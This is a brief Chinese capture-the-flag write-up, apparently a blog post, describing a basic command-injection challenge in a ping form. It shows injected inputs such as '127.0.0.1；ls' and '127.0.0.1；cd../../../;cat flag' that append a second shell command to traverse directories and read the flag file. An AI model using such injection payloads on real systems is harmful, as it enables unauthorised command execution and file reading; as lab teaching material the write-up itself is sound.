本文介绍了在一道命令注入题目中，通过ping命令的基本操作，逐步探测系统目录结构，发现安全漏洞的过程。作者展示了如何利用ls,cd,cat等命令进行目录遍历和文件访问，最终获取flag。
一道简单的命令注入题
了解什么是ping
ping的基本介绍
我们首先尝试一下ping本机127.0.0.1(本地回环地址）
在此之前先了解一下常用的命令
ls //列明当前文件目录下内容
ls ../../../ //上翻三级目录，并列明内容
cat /flag //打开flag文件
find / -name flag //查找flag文件
rar x file1.rar //解压rar包
我们尝试127.0.0.1；ls
可以看到没有过滤分号和ls
大致判断这道题没有过滤
然后再遍历目录，查找我们需要的flag
cd../;cd../../;
当../../../时发现flag
然后我们尝试看一下flag下是否还有目录
127.0.0.1；cd../../../flag;ls
发现没有
我们再尝试打开flag
127.0.0.1；cd../../../;cat flag
即可得到flag
367
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
